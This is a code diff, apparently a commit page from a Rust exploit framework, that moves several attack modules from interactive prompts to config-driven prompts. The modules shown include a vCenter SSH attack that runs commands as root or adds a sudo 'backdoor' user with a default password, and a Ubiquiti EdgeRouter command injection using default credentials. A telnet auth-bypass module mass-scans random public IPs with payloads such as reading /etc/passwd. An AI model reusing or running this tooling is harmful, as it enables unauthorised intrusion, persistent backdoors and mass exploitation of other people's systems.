let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
let username = prompt("vCenter Admin Username").await?;
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", 22)?;
|
||||
let username = cfg_prompt_required("username", "vCenter Admin Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
let password = prompt("Password").await?;
|
||||
let password = cfg_prompt_required("password", "Password")?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
@@ -240,22 +233,22 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 3. Add Backdoor User (sudo access)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_int_range("Attack mode", 1, 1, 3)?;
|
||||
let mode = cfg_prompt_int_range("mode", "Attack mode", 1, 1, 3)?;
|
||||
|
||||
match mode {
|
||||
1 => {
|
||||
attack_check(&host, port, &username, &password).await?;
|
||||
}
|
||||
2 => {
|
||||
let command = prompt("Command to execute as root").await?;
|
||||
let command = cfg_prompt_required("command", "Command to execute as root")?;
|
||||
if command.is_empty() {
|
||||
return Err(anyhow!("Command is required"));
|
||||
}
|
||||
attack_exec(&host, port, &username, &password, &command).await?;
|
||||
}
|
||||
3 => {
|
||||
let backdoor_user = prompt_default("Backdoor username", "backdoor")?;
|
||||
let backdoor_pass = prompt_default("Backdoor password", "Backdoor123!")?;
|
||||
let backdoor_user = cfg_prompt_default("backdoor_user", "Backdoor username", "backdoor")?;
|
||||
let backdoor_pass = cfg_prompt_default("backdoor_pass", "Backdoor password", "Backdoor123!")?;
|
||||
attack_add_user(&host, port, &username, &password, &backdoor_user, &backdoor_pass).await?;
|
||||
}
|
||||
_ => {
|
||||
|
||||
@@ -15,11 +15,11 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::{Read, Write};
|
||||
use std::io::Read;
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -151,14 +151,7 @@ pub async fn attack_enum(host: &str, port: u16, username: &str, password: &str)
|
||||
Ok(found_any)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -168,12 +161,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
let username = prompt("vCenter Admin Username").await?;
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", 22)?;
|
||||
let username = cfg_prompt_required("username", "vCenter Admin Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
let password = prompt("Password").await?;
|
||||
let password = cfg_prompt_required("password", "Password")?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
@@ -184,14 +177,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 2. Read Specific File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "1")?;
|
||||
let mode = cfg_prompt_default("mode", "Mode", "1")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_enum(&host, port, &username, &password).await?;
|
||||
}
|
||||
"2" => {
|
||||
let file_path = prompt("File path to read").await?;
|
||||
let file_path = cfg_prompt_required("file_path", "File path to read")?;
|
||||
if file_path.is_empty() {
|
||||
return Err(anyhow!("File path is required"));
|
||||
}
|
||||
|
||||
@@ -15,10 +15,9 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::Colorize;
|
||||
use reqwest::Client;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::prompt_yes_no;
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no};
|
||||
|
||||
// ============================================================================
|
||||
// CONSTANTS
|
||||
@@ -265,11 +264,7 @@ fn gather_config(initial_target: &str) -> Result<ExploitConfig> {
|
||||
} else if !initial_target.is_empty() {
|
||||
format!("http://{}", initial_target.trim_end_matches('/'))
|
||||
} else {
|
||||
print!("{}", "Target IP/URL: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let input = input.trim();
|
||||
let input = cfg_prompt_required("target", "Target IP/URL")?;
|
||||
if input.is_empty() {
|
||||
return Err(anyhow!("Target is required"));
|
||||
}
|
||||
@@ -280,41 +275,21 @@ fn gather_config(initial_target: &str) -> Result<ExploitConfig> {
|
||||
}
|
||||
};
|
||||
|
||||
// Credentials
|
||||
print!("{}", "Username [admin]: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut username = String::new();
|
||||
std::io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim();
|
||||
let username = if username.is_empty() { "admin".to_string() } else { username.to_string() };
|
||||
let username = cfg_prompt_default("username", "Username", "admin")?;
|
||||
|
||||
print!("{}", "Password: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut password = String::new();
|
||||
std::io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim().to_string();
|
||||
let password = cfg_prompt_required("password", "Password")?;
|
||||
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Command to execute
|
||||
print!("{}", "Command to execute [id]: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut command = String::new();
|
||||
std::io::stdin().read_line(&mut command)?;
|
||||
let command = command.trim();
|
||||
let command = if command.is_empty() { "id".to_string() } else { command.to_string() };
|
||||
let command = cfg_prompt_default("command", "Command to execute", "id")?;
|
||||
|
||||
// Timeout
|
||||
print!("{}", format!("Timeout seconds [{}]: ", DEFAULT_TIMEOUT_SECS).green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut timeout_input = String::new();
|
||||
std::io::stdin().read_line(&mut timeout_input)?;
|
||||
let timeout_secs = timeout_input.trim().parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let timeout_str = cfg_prompt_default("timeout", "Timeout seconds", &DEFAULT_TIMEOUT_SECS.to_string())?;
|
||||
let timeout_secs = timeout_str.trim().parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
// SSL verification
|
||||
let verify_ssl = !prompt_yes_no("Skip SSL verification?", true)?;
|
||||
let verify_ssl = !cfg_prompt_yes_no("skip_ssl", "Skip SSL verification?", true)?;
|
||||
|
||||
let config = ExploitConfig {
|
||||
target_url,
|
||||
@@ -335,7 +310,7 @@ fn gather_config(initial_target: &str) -> Result<ExploitConfig> {
|
||||
println!(" Timeout: {}s", config.timeout_secs);
|
||||
println!(" SSL: {}", if config.verify_ssl { "verified" } else { "skip" });
|
||||
|
||||
if !prompt_yes_no("\nProceed with exploit?", true)? {
|
||||
if !cfg_prompt_yes_no("proceed", "Proceed with exploit?", true)? {
|
||||
return Err(anyhow!("Cancelled by user"));
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default};
|
||||
use urlencoding;
|
||||
|
||||
/// Ubiquiti EdgeRouter X Command Injection (CVE-2023-2376)
|
||||
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
cfg_prompt_required("target", "Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
@@ -31,10 +31,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Authentication required
|
||||
let username = prompt_default("Username", "ubnt")?;
|
||||
let password = prompt_default("Password", "ubnt")?;
|
||||
let username = cfg_prompt_default("username", "Username", "ubnt")?;
|
||||
let password = cfg_prompt_default("password", "Password", "ubnt")?;
|
||||
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
let cmd = cfg_prompt_default("command", "Command to execute", "id")?;
|
||||
|
||||
println!("{} Authenticating...", "[*]".blue());
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_yes_no};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_yes_no, cfg_prompt_required};
|
||||
use crate::modules::creds::utils::generate_random_public_ip;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
@@ -387,7 +387,7 @@ fn prompt_exploit_config() -> Result<ExploitConfig> {
|
||||
println!("{}", "\n[Operation Mode]".bold().cyan());
|
||||
println!(" 1. Just Vulnerability Check (Safe)");
|
||||
println!(" 2. Execute Command Payload (Unsafe)");
|
||||
let choice = prompt_default("Select mode [1-2]", "1")?;
|
||||
let choice = cfg_prompt_default("mode", "Select mode [1-2]", "1")?;
|
||||
|
||||
let mode = if choice == "2" { ExploitMode::ExecuteCommand } else { ExploitMode::CheckOnly };
|
||||
|
||||
@@ -398,24 +398,20 @@ fn prompt_exploit_config() -> Result<ExploitConfig> {
|
||||
println!(" 2. Read /etc/passwd");
|
||||
println!(" 3. List Root Directory (ls -la /)");
|
||||
println!(" 4. Custom Command");
|
||||
let p_choice = prompt_default("Select payload [1-4]", "1")?;
|
||||
let p_choice = cfg_prompt_default("payload", "Select payload [1-4]", "1")?;
|
||||
|
||||
payload = match p_choice.as_str() {
|
||||
"1" => "id; whoami; uname -a".to_string(),
|
||||
"2" => "cat /etc/passwd".to_string(),
|
||||
"3" => "ls -la /".to_string(),
|
||||
"4" => {
|
||||
print!("{}", "Enter custom command: ".green());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
input.trim().to_string()
|
||||
cfg_prompt_required("custom_command", "Custom command")?
|
||||
}
|
||||
_ => "id; whoami; uname -a".to_string(),
|
||||
};
|
||||
}
|
||||
|
||||
let user = prompt_default("Username to bypass as", "root")?;
|
||||
let user = cfg_prompt_default("username", "Username to bypass as", "root")?;
|
||||
|
||||
Ok(ExploitConfig { mode, user, payload })
|
||||
}
|
||||
@@ -428,7 +424,7 @@ async fn run_mass_scan(config: ExploitConfig) -> Result<()> {
|
||||
println!("{}", format!("[*] Payload: {}", config.payload).cyan());
|
||||
}
|
||||
|
||||
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_reserved", "Exclude reserved/private ranges?", true)?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
@@ -439,10 +435,10 @@ async fn run_mass_scan(config: ExploitConfig) -> Result<()> {
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = prompt_default("[?] Output File", "telnet_exploit_hits.txt")?;
|
||||
let outfile = cfg_prompt_default("output_file", "Output File", "telnet_exploit_hits.txt")?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
|
||||
let threads = cfg_prompt_default("concurrency", "Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
|
||||
.parse::<usize>()
|
||||
.map_or(MASS_SCAN_CONCURRENCY, |v| if v > 0 { v } else { MASS_SCAN_CONCURRENCY });
|
||||
|
||||
@@ -577,7 +573,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "[-] No common telnet ports were found VULNERABLE".red());
|
||||
}
|
||||
} else {
|
||||
let port = prompt_port("Explicit Telnet Port", 23)?;
|
||||
let port = cfg_prompt_port("port", "Explicit Telnet Port", 23)?;
|
||||
let mut exploit = TelnetExploit::new(target, port, &config.user, Some(config.payload.clone()));
|
||||
exploit.run_exploit(DEFAULT_TIMEOUT_SECS, true).await?;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user